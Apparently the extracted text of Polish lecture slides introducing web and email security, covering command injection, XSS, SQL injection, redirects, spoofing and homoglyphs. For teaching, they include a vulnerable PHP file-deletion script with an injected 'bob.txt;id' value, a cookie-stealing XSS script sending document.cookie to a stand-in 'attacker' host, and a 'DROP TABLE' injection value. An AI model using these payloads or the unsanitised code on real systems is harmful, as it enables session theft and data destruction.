Wprowadzenie do kryptografii i bezpieczeństwa Po raz czwarty
WWW i e-mail
WWW HTTPS & SSL doesn't mean "trust this." It means "this is private." You may be having a private conversation with Satan. Hanselman Scott Strony dostarczane po HTTPS mogą być zainfekowane! Wystawca certyfikatu uwierzytelnia podmiot (mniej lub bardziej dokładnie), ale tylko w momencie wystawiania certyfikatu Strona z HTTPS może później zostać skompromitowana
WWW iframe technika osadzania jednej strony wewnątrz drugiej Dużo starszych rozbudowanych stron tak funkcjonowało Obecnie zaleca się inne metody Można w ten sposób podstawić zainfekowaną treść pod zaufanym adresem Przeglądarka powinna to zauważyć
WWW HTTP 302 (Found) przekierowanie URL Może prowadzić z potencjalnie bezpiecznego adresu na niezaufaną stronę Częsty problem w skracarkach linków Te lepsze wyświetlają najpierw komunikat, do jakiego adresu prowadzi skrót Domain shadowing złośliwe subdomeny w potencjalnie zaufanej (ale przejętej) domenie
WWW Command injection SQL injection HTTP injection XSS (Cross-site scripting) XSRF (Cross-site request forgery)
Command injection Command injection wysłanie przez atakującego polecenia, które wykona się po stronie serwera Zazwyczaj w powłoce (bash) Zazwyczaj wynika to ze złej obsługi wejścia użytkownika Przekazywanie do funkcji systemowych Ścieżki dostępu do plików 7
Command injection Wyobraźmy sobie kod strony <?php print("please specify the name of the file to delete "); print("<p>"); $file=$_get['filename']; system("rm $file");?> Dajmy użytkownikowi wpisać bob.txt;id Co się wywołuje? http://example.com/delete.php? filename=bob.txt;id
Command injection Informacja zwrotna: Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)
XSS Cross-Site Scripting wywołanie skryptu przez przeglądarkę użytkownika Wyobraźmy sobie, że na stronie zamieszczony zostaje kawałek kodu: <script> window.location= 'http://attacker/?cookie= +document.cookie </script> Dlaczego cookie? Udaje użytkownika w trakcie sesji
Persistent XSS
XSS Typy XSS: Persistent XSS utrzymuje się po odświeżeniu strony, zazwyczaj złośliwy kod zapisany przez atakującego w bazie strony Reflected XSS tylko do odświeżenia strony DOM-based XSS podatność po stronie klienta, nie serwera DOM Document Object Model
Reflected XSS https://excess-xss.com/
DOM-based XSS
DOM-based XSS Wynika z rosnącego zaawansowania przeglądarek Skrypt nie wykonuje się podczas przetwarzania odpowiedzi od serwera ze stroną tylko później podstawia elementy do prawidłowej zawartości strony Trudne do wykrycia po stronie serwera Istnieją XSS, które nie wymagają wysłania skryptu do serwera (zostaje lokalnie u klienta)
Trochę o bazach Podstawowym problemem są zapytania wysyłane do baz danych Aplikacja musi mieć dostęp do wszystkich danych, na których operuje ale zazwyczaj większość użytkowników aplikacji nie powinna SQL injection wstrzykiwanie zapytań z poziomu aplikacji
SQL SQL Structured Query Language Podstawowy język zapytań do baz danych Elementy: DML (ang. Data Manipulation Language) INSERT, UPDATE, DELETE DDL (ang. Data Definition Language) CREATE, DROP, ALTER DCL (ang. Data Control Language) GRANT, REVOKE, DENY DQL (ang. Data Query Language) SELECT
SQL Przykłady: SELECT EMPLOYEE_ID, NAME FROM EMPLOYEE_TABLE WHERE EMPLOYEE_ID = '0000'; CREATE TABLE Customers ( ID varchar(80), Name varchar(80), Phone varchar(20),... );
SQL Przykłady: DROP TABLE EMPLOYEE_TABLE; CREATE TABLE Customers ( ID varchar(80), Name varchar(80), Phone varchar(20), -- SOME COMMENTS ); DELETE FROM Customers WHERE ID = 'Anna Nowak';
SQL a aplikacje Wyobraźmy sobie aplikację Użytkownik wprowadza przez formularz wartość $input_data = 1234; $query = "SELECT * FROM users where id=$input_data"; Wykona się zapytanie: SELECT * FROM users where id=1234 A co jeśli $input_data nie będzie równe czemuś spodziewanemu?
SQL a aplikacje Wprowadzona wartość: $input_data = "1; DROP TABLE users;" $query = "SELECT * FROM users where id=$input_data"; Co powoduje uruchomienie zapytania SELECT * FROM users where id=1; DROP TABLE users; ; 21
Exploits of a Mom https://xkcd.com/327/
WWW Jak się chronić: Uwierzytelnianie użytkowników przed zrobieniem czegokolwiek Dokładne parsowanie danych przekazywanych przez użytkownika
Poczta elektroniczna Złośliwe załączniki Email spoofing pola wiadomości: MAIL FROM i From nie muszą być identyczne Ale warto to sprawdzać Serwery open relay DMARC (Domain-based Message Authentication, Reporting and Conformance): SPF (Sender Policy Framework) autoryzacja po adresie IP serwera wysyłającego mail DKIM (DomainKeys Identified Mail) podpisane wiadomości (klucz w DNS)
Te dziwne znaczki Homoglyph ( homoglif ) podobne graficznie znaki, oznaczające coś innego Obrazek: fraudwatchinternational.com